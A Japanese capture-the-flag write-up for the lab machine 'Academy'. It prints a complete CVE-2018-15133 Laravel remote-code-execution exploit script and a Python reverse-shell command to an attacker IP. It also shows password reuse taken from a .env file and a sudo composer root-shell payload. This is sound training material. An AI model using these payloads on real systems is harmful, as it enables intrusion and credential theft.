まえがき
この記事はAcademyのWriteupです📝
今回はLaravelの脆弱性から色々と紐解いていきます。
Machine Info
Name : Academy
IP Address: 10.10.10.215
OS: Linux 🐧
Recon
Port Scan - Nmap
┌──(kali㉿kali)-[~]
└─$ nmap 10.10.10.215 -Pn -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-19 20:03 JST
Initiating Parallel DNS resolution of 1 host. at 20:03
Completed Parallel DNS resolution of 1 host. at 20:03, 0.16s elapsed
Initiating Connect Scan at 20:03
Scanning 10.10.10.215 [1000 ports]
Discovered open port 22/tcp on 10.10.10.215
Discovered open port 80/tcp on 10.10.10.215
Increasing send delay for 10.10.10.215 from 0 to 5 due to 123 out of 409 dropped probes since last increase.
Increasing send delay for 10.10.10.215 from 5 to 10 due to max_successful_tryno increase to 4
Completed Connect Scan at 20:04, 34.21s elapsed (1000 total ports)
Nmap scan report for 10.10.10.215
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 34.45 seconds
22番と80番のポートが空いていることが分かる。
Name Resolution
名前解決を行う必要がある。
/etc/hostsのファイルにこれを書き込んでおく。
10.10.10.215 academy.htb
Site - academy.htb
実際アクセスしてみるとこんなページがみつかる。
右上から「Login」と「Register」もできるようだ。
Login Page
Register Page
Enumeration
他にもめぼしいものがないか探索していく。
dirsearch
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─$ dirsearch -u http://academy.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_academy.htb/_23-12-19_20-17-25.txt
Target: http://academy.htb/
[20:17:25] Starting:
[20:17:40] 403 - 276B - /.ht_wsr.txt
[20:17:40] 403 - 276B - /.htaccess.sample
[20:17:40] 403 - 276B - /.htaccess_orig
[20:17:40] 403 - 276B - /.htaccess.orig
[20:17:40] 403 - 276B - /.htaccessBAK
[20:17:40] 403 - 276B - /.htaccess.bak1
[20:17:40] 403 - 276B - /.htaccess.save
[20:17:40] 403 - 276B - /.htaccessOLD
[20:17:40] 403 - 276B - /.htaccess_extra
[20:17:40] 403 - 276B - /.htaccess_sc
[20:17:40] 403 - 276B - /.htaccessOLD2
[20:17:40] 403 - 276B - /.htm
[20:17:40] 403 - 276B - /.httr-oauth
[20:17:40] 403 - 276B - /.htpasswd_test
[20:17:40] 403 - 276B - /.htpasswds
[20:17:40] 403 - 276B - /.html
[20:17:44] 403 - 276B - /.php
[20:18:01] 200 - 968B - /admin.php
[20:18:31] 200 - 0B - /config.php
[20:18:52] 301 - 311B - /images -> http://academy.htb/images/
[20:18:52] 403 - 276B - /images/
[20:18:53] 302 - 54KB - /home.php -> login.php
[20:19:00] 200 - 964B - /login.php
[20:19:23] 200 - 1001B - /register.php
[20:19:27] 403 - 276B - /server-status
[20:19:28] 403 - 276B - /server-status/
Task Completed
色々見つかった。念の為gobersterでもやっておく。
gobuster
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt dir -u http://academy.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://academy.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 311] [--> http://academy.htb/images/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
gobusterは /images しか見つからなかった。
dirsearchで見つけた admin.php が気になったため、実際にアクセスしてみよう。
http://academy.htb/admin.php
どうやらadmin専用のログインページになっているっぽい。
admin:admin で入力してみるも、失敗。
Recon - Burp
BurpSuite
BurpSuiteを立ち上げて、調査を進める。
RegisterPage - hogeで登録してみる。
LoginPage - hogeアカウントでログインすることにも成功。
先ほどのReqestをみると、uid = に情報が打ち込まれていることがわかる。
roleidの部分で一般ユーザ or アドミンを識別しているのかもと予想が立てられる。
Attempt - Admin User Registration
Repeaterに送り込んでからroleidの値を変更して、adminUser:admin として登録をしてみる。
(admin, Admin, admin1234 等だと登録に失敗した。)
Recon - Admin
adminのログインページからアドミンとしてログインに成功。
この中で怪しいのはFix issue with dev-staging-01.academy.htbである。
ステータス部分がpendingになっていることから、まだ fixing issue のタスクが完了していないのだろう。
dev-staging-01.academy.htbにもアクセスしたいので、
/etc/hostsのファイルにdev-staging-01.academy.htbの追加で情報を書き込んでおく。
10.10.10.215 academy.htb dev-staging-01.academy.htb
dev-staging-01.academy.htb
実際にアクセスしてみる。
Identification of Vulnerbility
アクセスしたページを色々と調べていくと、このようなものが見つかる。
Laravel
LaravelはPHPでWeb開発をする際に用いられるフレームワーク。
「フレームワーク」とは、システムやアプリを開発するのに頻繁に使う機能の動作や処理をひとまとめにしたもの。
LarabelというPHPフレームワークが使用されていることが、分かると同時にAPP_KEYが見えている状態になっていることにも注目。
CVE-2018-15133
Laravel AppKey Vulnerability等で調べてみると、Remote Code Executionの脆弱性を見つけた。
Gaining Access - Exploit the Vulnerbility
Establishing a Reverse Shell
Netcatでリスナーを起動しておく。
┌──(kali㉿kali)-[~/Desktop/work]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
今回はこのページを参考にした。
(Writeupを書いている時に知ったのだが、今回のマシンを解く正攻法はMetasploit使用だったらしい...)
git clone でもってくる。
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
Cloning into 'exploit_laravel_cve-2018-15133'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 16 (delta 5), reused 10 (delta 3), pack-reused 0
Receiving objects: 100% (16/16), 245.22 KiB | 7.43 MiB/s, done.
Resolving deltas: 100% (5/5), done.
pipで必要モジュールをダウンロードしてから、実行してみる。
┌──(root㉿kali)-[/home/kali/Desktop/work/exploit_laravel_cve-2018-15133]
└─# python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
Linux academy 5.4.0-52-generic #57-Ubuntu SMP Thu Oct 15 10:57:00
UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
システムのカーネル情報が返ってきた。
仕組みを理解するために、pwn_laravel.pyの内容を確認する。
┌──(root㉿kali)-[/home/kali/Desktop/work/exploit_laravel_cve-2018-15133]
└─# cat pwn_laravel.py
#! /usr/bin/env python3
#
# This code exploit the CVE-2018-15133 and it's based on CVE's author PoC and MSF exploit.
#
# kozmic's PoC in PHP: https://github.com/kozmic/laravel-poc-CVE-2018-15133
# Metasploit exploit in Ruby: https://www.exploit-db.com/exploits/47129
# Bug fixed by Laravel: https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0
#
# More reference:
# https://vulners.com/metasploit/MSF:EXPLOIT/UNIX/HTTP/LARAVEL_TOKEN_UNSERIALIZE_EXEC
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15133
from rich.console import Console
from rich.table import Table
from Crypto import Random
from Crypto.Cipher import AES
from hashlib import sha256
from Crypto.Util.Padding import pad
import hmac
import base64
import json
import argparse
import requests
from signal import signal, SIGINT
from sys import exit
console = Console()
def generate_payload(cmd, key, method=1):
# Porting phpgcc thing for Laravel RCE php objects - code mostly borrowed from Metasploit's exploit
if method == 1: # Laravel RCE1
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
elif method == 2: # Laravel RCE2
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\\Events\\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + str(len(cmd)) + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
elif method == 3: # Laravel RCE3
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\\Notifications\\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + str(len(cmd)) + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
else: # Laravel RCE4
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\\Validation\\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
value = base64.b64encode(payload_decoded.encode()).decode('utf-8')
key = base64.b64decode(key)
return encrypt(value, key)
def encrypt(text, key):
cipher = AES.new(key,AES.MODE_CBC)
value = cipher.encrypt(pad(base64.b64decode(text), AES.block_size))
payload = base64.b64encode(value)
iv_base64 = base64.b64encode(cipher.iv)
hashed_mac = hmac.new(key, iv_base64 + payload, sha256).hexdigest()
iv_base64 = iv_base64.decode('utf-8')
payload = payload.decode('utf-8')
data = { 'iv': iv_base64, 'value': payload, 'mac': hashed_mac}
json_data = json.dumps(data)
payload_encoded = base64.b64encode(json_data.encode()).decode('utf-8')
return payload_encoded
def extractResponse(resp):
return resp.split('<!DOCTYPE html>')[0] # Ugly but it works, not as good as regex
def key_handler(signal_received, frame):
print('Alrighty. Bye!')
exit(0)
def exploit(url, api_key, cmd, method=1):
payload = generate_payload(cmd, api_key, method)
return requests.post(url,headers={'X-XSRF-TOKEN': payload})
def main():
parser = argparse.ArgumentParser()
parser.add_argument('URL', help="Lararel website URL to attack")
parser.add_argument('API_KEY', help="Laravel website API_KEY encoded in base64")
parser.add_argument('-c','--command', default='uname -a', help="Command to execute in the vulnerable website, if not specfied will send 'uname -a'")
parser.add_argument('-m','--method', type=int, choices=[1,2,3,4], default=1, help="Indicates the unserialized payload version to use: 1 = Laravel RCE1 (default), 2 = Laravel RCE2, 3 = Laravel RCE3, 4 = Laravel RCE4")
parser.add_argument('-i', '--interactive', action="store_true", help="Execute commands interactively, it would mimic a tty")
args = parser.parse_args()
resp = exploit(args.URL, args.API_KEY, args.command, args.method)
console.print("\n" + extractResponse(resp.text))
if args.interactive:
signal(SIGINT, key_handler)
console.print('[bold yellow] Running in interactive mode. Press CTRL+C to exit.')
while True:
cmd = input('$ ')
if len(cmd) == 0: continue
resp = exploit(args.URL, args.API_KEY, cmd, args.method)
console.print(extractResponse(resp.text))
main()
main関数に注目すると-cが明示されていない場合、デフォルトでuname -aのコマンドが送信されることが分かる。
(-c指定で好きなコマンドが送ることができるのだ)
parser.add_argument('-c','--command', default='uname -a', help="Command to execute in the vulnerable website, if not specfied will send 'uname -a'")
では、-c部分にReverse Shellを送り込むようにしよう。
このページを参考にして、Reverse Shellを作っていく。
IP部分はip aコマンド等で確認しておく。【tun0】
Port部分は先ほどリスナーを立てる際に指定した数字に設定する。
Python3のbashで作成した。
-c部分に入れ込んでみよう。
※入れ込む際に前後をダブルクォートで囲み、ダブルクォートが既に使用されていた箇所はバックスラッシュでエスケープさせておく。
┌──(root㉿kali)-[/home/kali/Desktop/work/exploit_laravel_cve-2018-15133]
└─# python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
-c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.4\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'"
実行してみる。
┌──(kali㉿kali)-[~/Desktop/work]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.215] 47422
www-data@academy:/var/www/html/htb-academy-dev-01/public$ whoami
whoami
www-data
www-dataとしてシェルを確立することができた。
Establishing a Interactive Shell
これは師匠に教わったおまじないだ。
これによってインタラクティブシェルを建てておくことで、操作性が向上する。
① Ctrl+Z を入力して接続をバックグラウンドにする。
② 以下を入力する。
$ ^Z
zsh: suspended nc -lnvp 4444
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# stty raw -echo; fg
[1] + continued nc -lnvp 4444
export TERM=xterm-256col
$ export SHELL=bash
Analysis & Recon
academyのディレクトリまで移動する。
www-data@academy:/$ cd /var/www
cd /var/www
www-data@academy:/var/www$ ls -lta
ls -lta
total 12
drwxr-xr-x 4 root root 4096 Aug 13 2020 html
drwxr-xr-x 3 root root 4096 Aug 7 2020 .
drwxr-xr-x 14 root root 4096 Aug 7 2020 ..
www-data@academy:/var/www/html$ cd html
cd html
www-data@academy:/var/www/html$ ls
ls
academy htb-academy-dev-01 index.php
www-data@academy:/var/www/html$ ls -lta
ls -lta
total 20
drwxr-xr-x 12 www-data www-data 4096 Aug 13 2020 academy
drwxr-xr-x 12 root root 4096 Aug 13 2020 htb-academy-dev-01
drwxr-xr-x 4 root root 4096 Aug 13 2020 .
-rw-r--r-- 1 www-data www-data 50 Aug 9 2020 index.php
drwxr-xr-x 3 root root 4096 Aug 7 2020 ..
www-data@academy:/var/www/html$ cd academy
cd academy
www-data@academy:/var/www/html/academy$ ls -lta
ls -lta
total 280
drwxr-xr-x 4 www-data www-data 4096 Nov 9 2020 public
drwxr-xr-x 12 www-data www-data 4096 Aug 13 2020 .
-rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env
drwxr-xr-x 4 root root 4096 Aug 13 2020 ..
drwxr-xr-x 38 www-data www-data 4096 Aug 9 2020 vendor
-rw-r--r-- 1 www-data www-data 191621 Aug 9 2020 composer.lock
-rw-r--r-- 1 www-data www-data 651 Feb 7 2018 .env.example
-rw-r--r-- 1 www-data www-data 111 Feb 7 2018 .gitattributes
-rw-r--r-- 1 www-data www-data 155 Feb 7 2018 .gitignore
drwxr-xr-x 6 www-data www-data 4096 Feb 7 2018 app
-rwxr-xr-x 1 www-data www-data 1686 Feb 7 2018 artisan
drwxr-xr-x 3 www-data www-data 4096 Feb 7 2018 bootstrap
-rw-r--r-- 1 www-data www-data 1512 Feb 7 2018 composer.json
drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 config
drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 database
-rw-r--r-- 1 www-data www-data 1150 Feb 7 2018 package.json
-rw-r--r-- 1 www-data www-data 1040 Feb 7 2018 phpunit.xml
-rw-r--r-- 1 www-data www-data 3622 Feb 7 2018 readme.md
drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 resources
drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 routes
-rw-r--r-- 1 www-data www-data 563 Feb 7 2018 server.php
drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 storage
drwxr-xr-x 4 www-data www-data 4096 Feb 7 2018 tests
-rw-r--r-- 1 www-data www-data 549 Feb 7 2018 webpack.mix.js
.envという隠しファイルを見つけることができる。中身を確認してみる。
www-data@academy:/var/www/html/academy$ cat .env
cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
DB_PASSWORD=mySup3rP4s5w0rd!!を発見した。
ユーザがこのパスワードを使い回ししている可能性があるため、試してみよう。
ホームディレクトリに移動すると、6人のユーザがいることが分かる。
www-data@academy:/home$ ls -lta
ls -lta
total 32
drwxr-xr-x 20 root root 4096 Feb 10 2021 ..
drwxr-xr-x 5 mrb3n mrb3n 4096 Aug 12 2020 mrb3n
drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 2020 cry0l1t3
drwxr-xr-x 3 egre55 egre55 4096 Aug 10 2020 egre55
drwxr-xr-x 8 root root 4096 Aug 10 2020 .
drwxr-xr-x 2 g0blin g0blin 4096 Aug 10 2020 g0blin
drwxr-xr-x 2 ch4p ch4p 4096 Aug 10 2020 ch4p
drwxr-xr-x 2 21y4d 21y4d 4096 Aug 10 2020 21y4d
cry0l1t3
6人のユーザでmySup3rP4s5w0rd!!を使ってSSH接続を試してみると、cry0l1t3で入ることができた。
┌──(kali㉿kali)-[~/Desktop/work]
└─$ ssh cry0l1t3@academy.htb
cry0l1t3@academy.htb's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 21 Dec 2023 09:11:45 AM UTC
System load: 0.0
Usage of /: 37.8% of 13.72GB
Memory usage: 14%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for ens160: 10.10.10.215
IPv6 address for ens160: dead:beef::250:56ff:feb9:772d
89 updates can be installed immediately.
42 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Aug 12 21:58:45 2020 from 10.10.14.2
user.txtも閲覧できるようになる。
$ bash
cry0l1t3@academy:~$ ls -lta
total 32
-r--r----- 1 cry0l1t3 cry0l1t3 33 Dec 21 09:06 user.txt
drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .
drwx------ 2 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .cache
drwxrwxr-x 3 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .local
lrwxrwxrwx 1 root root 9 Aug 10 2020 .bash_history -> /dev/null
drwxr-xr-x 8 root root 4096 Aug 10 2020 ..
-rw-r--r-- 1 cry0l1t3 cry0l1t3 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 cry0l1t3 cry0l1t3 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 cry0l1t3 cry0l1t3 807 Feb 25 2020 .profile
cry0l1t3@academy:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag
cry0l1t3 to mrb3n
sudo -l
cry0l1t3が実行できる権限を確認してみるが、特にsudo -lでは発見できなかった。
cry0l1t3@academy:~$ sudo -l
[sudo] password for cry0l1t3:
Sorry, user cry0l1t3 may not run sudo on academy.
LinPeas
LinPeasを使っていくため、前準備をする。
① サーバをたてておく
┌──(kali㉿kali)-[~/Desktop/work]
└─$ python3 -m http.server 80 --bind 10.10.14.4
Serving HTTP on 10.10.14.4 port 80 (http://10.10.14.4:80/) ...
② LinPeasをダウンロード(サーバをたてた同じ階層で)しておく。
③ ターゲットマシンでwgetを実行しlinpeas.shを手にいれる。
cry0l1t3@academy:~$ wget http://10.10.14.4:80/linpeas.sh
--2023-12-21 10:09:22-- http://10.10.14.4/linpeas.sh
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=======>] 827.94K 9.76KB/s in 2m 21s
2023-12-21 10:11:43 (5.89 KB/s) - ‘linpeas.sh’ saved [847815/847815]
④ そのまま実行しようとしても権限が与えられていないので、権限を与えておく。
cry0l1t3@academy:~$ ./linpeas.sh
bash: ./linpeas.sh: Permission denied
cry0l1t3@academy:~$ chmod +x linpeas.sh
⑤ 実行 (かわいい...)
出力が大量にあるため探すのが大変だが、以下のようなものを発見できる。
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
mrb3nのパスワードがAc@d3my! だと分かった。mrb3nにユーザを切り替え、sudo -lを試してみる。
cry0l1t3@academy:~$ su mrb3n
Password:
$ bash
Privilege Escalation
mrb3nが実行できる権限を確認してみる。
mrb3n@academy:/home/cry0l1t3$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
/usr/bin/composerが実行できる。
Exploiting Composer
composer privilege escalationで調べると、良さげなページが見つかる。
sudo
バイナリがsudoによってスーパーユーザーとしての実行を許可されている場合、昇格した特権を落とさず、ファイルシステムへのアクセスや特権アクセスの昇格、維持に使用される可能性がある。
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
これを参考にして、実行してみる。
mrb3n@academy:~$ TF=$(mktemp -d)
mrb3n@academy:~$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:~$ sudo composer --working-dir=$TF run-script x
[sudo] password for mrb3n:
PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
rootと返ってくる。
# whoami
root
# ls -lta
total 12
drwxrwxrwt 15 root root 4096 Dec 21 10:44 ..
drwx------ 2 mrb3n mrb3n 4096 Dec 21 10:41 .
-rw-rw-r-- 1 mrb3n mrb3n 46 Dec 21 10:41 composer.json
# cd ~
# ls -lta
total 68
-r--r----- 1 root root 33 Dec 21 09:06 root.txt
drwxr-xr-x 20 root root 4096 Feb 10 2021 ..
drwx------ 7 root root 4096 Feb 9 2021 .
-rw------- 1 root root 14087 Feb 9 2021 .viminfo
-r--r----- 1 root root 1748 Nov 6 2020 academy.txt
-rw-r--r-- 1 root root 186 Sep 14 2020 .wget-hsts
-rw-r--r-- 1 root root 66 Aug 12 2020 .selected_editor
lrwxrwxrwx 1 root root 9 Aug 10 2020 .bash_history -> /dev/null
drwxr-xr-x 3 root root 4096 Aug 8 2020 .composer
drwx------ 2 root root 4096 Aug 8 2020 .cache
drwxr-xr-x 3 root root 4096 Aug 7 2020 .local
drwxr-xr-x 3 root root 4096 Aug 7 2020 snap
drwx------ 2 root root 4096 Aug 7 2020 .ssh
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag
RootFlagもGet。